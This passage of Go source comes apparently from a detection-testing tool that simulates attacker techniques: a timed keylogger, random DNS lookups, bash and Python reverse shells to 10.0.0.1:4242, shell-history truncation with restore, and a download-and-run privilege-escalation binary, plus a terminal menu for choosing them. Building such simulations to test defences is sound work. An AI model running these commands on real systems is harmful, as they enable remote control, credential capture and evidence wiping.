29 | }
30 |
31 | return nil
32 | }
33 |
34 | // waitTimeout waits for the waitgroup for the specified max timeout.
35 | // Returns true if waiting timed out.
36 | func waitTimeout(wg *sync.WaitGroup, timeout time.Duration) bool {
37 | c := make(chan struct{})
38 | go func() {
39 | defer close(c)
40 | wg.Wait()
41 | }()
42 | select {
43 | case <-c:
44 | return false // completed normally
45 | case <-time.After(timeout):
46 | return true // timed out
47 | }
48 | }
49 |
50 | func Keylogger() error {
51 | var wg sync.WaitGroup
52 | timeout := 10 * time.Second
53 |
54 | for _, dev := range keylogger.FindAllKeyboardDevices() {
55 | log.Printf("listening for keystrokes on %s (timeout=%s) ...", dev, timeout)
56 | wg.Add(1)
57 | go func(d string) {
58 | defer wg.Done()
59 | listenKeyboard(d)
60 | log.Printf("%s done", d)
61 | }(dev)
62 | }
63 |
64 | st := waitTimeout(&wg, timeout)
65 | log.Printf("our job here is done, timeout=%v", st)
66 | return nil
67 | }
68 |
--------------------------------------------------------------------------------
/pkg/simulate/resolve.go:
--------------------------------------------------------------------------------
1 | package simulate
2 |
3 | import (
4 | "crypto/rand"
5 | "encoding/hex"
6 | "fmt"
7 | "log"
8 | "net"
9 | "time"
10 | )
11 |
12 | func ResolveRandom() error {
13 | for i := 0; i < 32; i++ {
14 | bytes := make([]byte, 8)
15 | if _, err := rand.Read(bytes); err != nil {
16 | return fmt.Errorf("read: %w", err)
17 | }
18 |
19 | host := fmt.Sprintf("%s.dns.%d.eu.org", hex.EncodeToString(bytes), i)
20 | log.Printf("looking up %s ...", host)
21 | time.Sleep(time.Millisecond * 50)
22 | _, err := net.LookupHost(host)
23 |
24 | if err != nil {
25 | if de, ok := err.(*net.DNSError); ok {
26 | if de.IsNotFound {
27 | continue
28 | }
29 | }
30 |
31 | return fmt.Errorf("lookup %s: %w", host, err)
32 | }
33 | }
34 | return nil
35 | }
36 |
--------------------------------------------------------------------------------
/pkg/simulate/reverse_shell.go:
--------------------------------------------------------------------------------
1 | package simulate
2 |
3 | import (
4 | "fmt"
5 | "os/exec"
6 | "time"
7 |
8 | "github.com/tstromberg/ttp-bench/pkg/iexec"
9 | )
10 |
11 | func BashReverseShell() error {
12 | return iexec.WithTimeout(30*time.Second, "bash", "-c", "bash -i >& /dev/tcp/10.0.0.1/4242 0>&1")
13 | }
14 |
15 | func PythonReverseShell() error {
16 | py, err := exec.LookPath("python3")
17 | if err != nil {
18 | py, err = exec.LookPath("python")
19 | }
20 | if err != nil {
21 | return fmt.Errorf("unable to find python3 or python")
22 | }
23 | return iexec.WithTimeout(30*time.Second, py, "-c", `a=__import__;s=a("socket").socket;o=a("os").dup2;p=a("pty").spawn;c=s();c.connect(("10.0.0.1",4242));f=c.fileno;o(f(),0);o(f(),1);o(f(),2);p("/bin/sh")`)
24 | }
25 |
--------------------------------------------------------------------------------
/pkg/simulate/shell_history.go:
--------------------------------------------------------------------------------
1 | package simulate
2 |
3 | import (
4 | "fmt"
5 | "log"
6 | "os"
7 | "path/filepath"
8 | "time"
9 |
10 | cp "github.com/otiai10/copy"
11 | )
12 |
13 | func TruncateShellHistory() error {
14 | home, err := os.UserHomeDir()
15 | if err != nil {
16 | return fmt.Errorf("home dir: %w", err)
17 | }
18 |
19 | path := filepath.Join(home, ".bash_history")
20 | _, err = os.Stat(path)
21 | if err != nil {
22 | path = filepath.Join(home, ".zsh_history")
23 | }
24 |
25 | log.Printf("backing up %s ...", path)
26 | if err := cp.Copy(path, path+".bak"); err != nil {
27 | return fmt.Errorf("copy: %w", err)
28 | }
29 |
30 | defer func() {
31 | log.Printf("restoring %s ...", path)
32 | if err := cp.Copy(path+".bak", path); err != nil {
33 | log.Printf("unable to restore %s: %v", path, err)
34 | }
35 | }()
36 |
37 | time.Sleep(1 * time.Second)
38 | log.Printf("Truncating %s ...", path)
39 |
40 | if err := os.Truncate(path, 0); err != nil {
41 | return fmt.Errorf("truncate: %w", err)
42 | }
43 |
44 | s, err := os.Stat(path)
45 | if err != nil {
46 | return fmt.Errorf("stat: %w", err)
47 | }
48 |
49 | log.Printf("stat: %+v", s)
50 | time.Sleep(15 * time.Second)
51 | return nil
52 | }
53 |
--------------------------------------------------------------------------------
/pkg/simulate/traitor.go:
--------------------------------------------------------------------------------
1 | package simulate
2 |
3 | import (
4 | "fmt"
5 | "log"
6 | "os"
7 | "os/exec"
8 | "runtime"
9 | "time"
10 |
11 | "github.com/cavaliergopher/grab/v3"
12 | "github.com/tstromberg/ttp-bench/pkg/iexec"
13 | )
14 |
15 | func Traitor(args ...string) error {
16 | bin := fmt.Sprintf("traitor-%s", runtime.GOARCH)
17 | url := fmt.Sprintf("https://github.com/liamg/traitor/releases/download/v0.0.14/%s", bin)
18 | td := os.TempDir()
19 | os.Chdir(td)
20 |
21 | log.Printf("Downloading %s to %s ...", url, td)
22 | if _, err := grab.Get(".", url); err != nil {
23 | return fmt.Errorf("grab: %w", err)
24 | }
25 |
26 | if err := os.Chmod(bin, 0o777); err != nil {
27 | return fmt.Errorf("chmod failed: %v", err)
28 | }
29 |
30 | c := exec.Command("strip", bin)
31 | if err := c.Run(); err != nil {
32 | log.Printf("strip failed: %v", err)
33 | }
34 |
35 | defer func() {
36 | log.Printf("removing %s", bin)
37 | os.Remove(bin)
38 | }()
39 |
40 | return iexec.InteractiveTimeout(75*time.Second, "./"+bin, args...)
41 | }
42 |
--------------------------------------------------------------------------------
/views.go:
--------------------------------------------------------------------------------
1 | package main
2 |
3 | import (
4 | "context"
5 | "fmt"
6 | "os"
7 | "sort"
8 |
9 | "github.com/charmbracelet/bubbles/key"
10 | "github.com/charmbracelet/bubbles/list"
11 | tea "github.com/charmbracelet/bubbletea"
12 | "github.com/charmbracelet/lipgloss"
13 | "golang.org/x/crypto/ssh/terminal"
14 | )
15 |
16 | var (
17 | docStyle = lipgloss.NewStyle().Margin(1, 2)
18 |
19 | // selected is the global that stores toggle state
20 | selected = map[string]bool{}
21 | )
22 |
23 | func (i choice) Title() string {
24 |
25 | if selected[i.name] {
26 | return "[x] " + i.name
27 | }
28 | return "[ ] " + i.name
29 | }
30 | func (i choice) String() string { return i.name }
31 | func (i choice) Description() string { return " " + i.desc }
32 | func (i choice) FilterValue() string { return i.name }
33 |
34 | type listKeyMap struct {
35 | togglechoice key.Binding
36 | finishchoices key.Binding
37 | }
38 |
39 | func newListKeyMap() *listKeyMap {
40 | return &listKeyMap{
41 | togglechoice: key.NewBinding(
42 | key.WithKeys(""),
43 | key.WithHelp("", "toggle"),
44 | ),
45 | finishchoices: key.NewBinding(
46 | key.WithKeys("enter"),
47 | key.WithHelp("", "execute selected"),
48 | ),
49 | }
50 | }
51 |
52 | type model struct {
53 | list list.Model
54 | }
55 |
56 | func (m model) Init() tea.Cmd {
57 | return nil
58 | }
59 |
60 | func (m model) Update(msg tea.Msg) (tea.Model, tea.Cmd) {
61 | switch msg := msg.(type) {
62 | case tea.KeyMsg:
63 | if msg.String() == "ctrl+c" || msg.String() == "q" {
64 | selected = map[string]bool{}
65 | return m, tea.Quit
66 | }
67 |
68 | if msg.String() == " " {
69 | i, ok := m.list.SelectedItem().(choice)
70 | if ok {
71 | if selected[i.name] {
72 | selected[i.name] = false
73 | } else {
74 | selected[i.name] = true
75 | }
76 | }
77 | return m, nil
78 | }
79 |
80 | if msg.String() == "enter" {
81 | return m, tea.Quit
82 | }
83 |
84 | case tea.WindowSizeMsg:
85 | top, right, bottom, left := docStyle.GetMargin()
86 | m.list.SetSize(msg.Width-left-right, msg.Height-top-bottom)
87 | }
88 |
89 | var cmd tea.Cmd
90 | m.list, cmd = m.list.Update(msg)
91 | return m, cmd
92 | }
93 |
94 | func (m model) View() string {
95 | return docStyle.Render(m.list.View())
96 | }
97 |
98 | func selectChoices(_ context.Context, choices []choice) ([]choice, error) {
99 | items := []list.Item{}
100 | byName := map[string]choice{}
101 |
102 | for _, c := range choices {
103 | byName[c.name] = c
104 | items = append(items, c)
105 |
106 | // disable dirty-pipe privesc by default until we can assess
107 | // whether it's restore mechanism is robust enough
108 | if c.name != "privesc-traitor-dirty-pipe" {
109 | selected[c.name] = true
110 | }
111 | }
112 |
113 | l := list.New(items, list.NewDefaultDelegate(), 0, 0)
114 | l.Title = "ttp-bench"
115 |
116 | listKeys := newListKeyMap()
117 | l.AdditionalShortHelpKeys = func() []key.Binding {
118 | return []key.Binding{listKeys.finishchoices, listKeys.togglechoice}
119 | }
120 |
121 | m := model{list: l}
122 |
123 | p := tea.NewProgram(m, tea.WithAltScreen())
124 | if err := p.Start(); err != nil {
125 | fmt.Println("Error running program:", err)
126 | os.Exit(1)
127 | }
128 |
129 | sChoices := []choice{}
130 | for name, enabled := range selected {
131 | if enabled {
132 | sChoices = append(sChoices, byName[name])
133 | }
134 | }
135 |
136 | sort.SliceStable(sChoices, func(i, j int) bool {
137 | return sChoices[i].name < sChoices[j].name
138 | })
139 |
140 | return sChoices, nil
141 | }
142 |
143 | func termWidth() int {
144 | width, _, _ := terminal.GetSize(0)
145 | if width < 1 {
146 | return 78
147 | }
148 | return width
149 | }
150 |
151 | func status(title string) {
152 | style := lipgloss.NewStyle().Bold(true).Foreground(lipgloss.Color("#7D56F4"))
153 | fmt.Print(style.Render(title))
154 | style = lipgloss.NewStyle().Bold(true).Foreground(lipgloss.Color("#3D16A4"))
155 | fmt.Println(style.Render(" ..."))
156 | }
157 |
158 | func msg(title string) {
159 | style := lipgloss.NewStyle().Bold(true).Foreground(lipgloss.Color("#CDF456"))
160 | fmt.Println(style.Render(title))
161 | }
162 |
163 | func announce(title string) {
164 | var style = lipgloss.NewStyle().
165 | Bold(true).
166 | Foreground(lipgloss.Color("#FAFAFA")).
167 | Background(lipgloss.Color("#7D56F4")).
168 | MarginTop(1).
169 | PaddingLeft(4).
170 | PaddingRight(4).
171 | Width(termWidth())
172 |
173 | fmt.Println(style.Render(title))
174 | }
175 |
176 | func subtitle(title string) {
177 | var style = lipgloss.NewStyle().
178 | Foreground(lipgloss.Color("#999999")).
179 | Background(lipgloss.Color("#3D16A4")).
180 | PaddingLeft(4).
181 | PaddingRight(4).
182 | Width(termWidth())
183 |
184 | fmt.Println(style.Render(title))
185 | }
186 |
187 | func notice(title string) {
188 | var style = lipgloss.NewStyle().
189 | Foreground(lipgloss.Color("#FFFF00")).
190 | Background(lipgloss.Color("#551111")).
191 | PaddingLeft(4).
192 | PaddingRight(4).
193 | Width(termWidth())
194 |
195 | fmt.Println(style.Render(title))
196 | }
197 |
--------------------------------------------------------------------------------